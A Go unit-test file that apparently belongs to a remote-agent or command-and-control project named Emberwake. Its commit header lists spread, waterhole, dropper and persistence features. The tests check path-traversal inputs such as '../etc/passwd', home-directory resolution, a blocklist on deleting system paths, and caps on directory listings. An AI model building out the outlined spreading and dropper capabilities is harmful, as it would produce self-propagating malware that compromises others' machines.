Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
89 lines
2.1 KiB
Go
89 lines
2.1 KiB
Go
package client
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"testing"
|
|
)
|
|
|
|
func TestContainsPathTraversal(t *testing.T) {
|
|
cases := []struct {
|
|
path string
|
|
want bool
|
|
}{
|
|
{"", false},
|
|
{"/home/user/docs", false},
|
|
{"C:\\Users\\alice", false},
|
|
{"~/Downloads", false},
|
|
{"../etc/passwd", true},
|
|
{"/home/user/../../etc", true},
|
|
{"foo/../bar", true},
|
|
}
|
|
for _, tc := range cases {
|
|
if got := containsPathTraversal(tc.path); got != tc.want {
|
|
t.Errorf("containsPathTraversal(%q) = %v, want %v", tc.path, got, tc.want)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestResolveListDirPathRejectsTraversal(t *testing.T) {
|
|
_, err := resolveListDirPath("../outside")
|
|
if err == nil {
|
|
t.Fatal("expected traversal error")
|
|
}
|
|
}
|
|
|
|
func TestResolveListDirPathEmptyUsesHome(t *testing.T) {
|
|
home, err := os.UserHomeDir()
|
|
if err != nil {
|
|
t.Skip("no home dir")
|
|
}
|
|
for _, input := range []string{"", "~", "@home"} {
|
|
got, err := resolveListDirPath(input)
|
|
if err != nil {
|
|
t.Fatalf("resolveListDirPath(%q): %v", input, err)
|
|
}
|
|
if got != filepath.Clean(home) {
|
|
t.Fatalf("resolveListDirPath(%q) = %q, want %q", input, got, home)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestIsBlockedDeletePath(t *testing.T) {
|
|
if !isBlockedDeletePath(`C:\Windows\System32\kernel32.dll`) {
|
|
t.Fatal("expected Windows system path blocked")
|
|
}
|
|
if !isBlockedDeletePath(`/usr/bin/bash`) {
|
|
t.Fatal("expected /usr blocked")
|
|
}
|
|
home, err := os.UserHomeDir()
|
|
if err != nil {
|
|
t.Skip("no home")
|
|
}
|
|
if !isBlockedDeletePath(home) {
|
|
t.Fatal("expected home root blocked")
|
|
}
|
|
tmp := filepath.Join(home, "test_delete_guard.txt")
|
|
if isBlockedDeletePath(tmp) {
|
|
t.Fatalf("expected user file path allowed: %s", tmp)
|
|
}
|
|
}
|
|
|
|
func TestReadDirectoryEntriesCapsCount(t *testing.T) {
|
|
dir := t.TempDir()
|
|
for i := 0; i < maxListDirEntries+10; i++ {
|
|
name := filepath.Join(dir, fmt.Sprintf("file_%d.txt", i))
|
|
if err := os.WriteFile(name, []byte("x"), 0o644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
}
|
|
entries, err := readDirectoryEntries(dir)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(entries) != maxListDirEntries {
|
|
t.Fatalf("entries len = %d, want cap %d", len(entries), maxListDirEntries)
|
|
}
|
|
}
|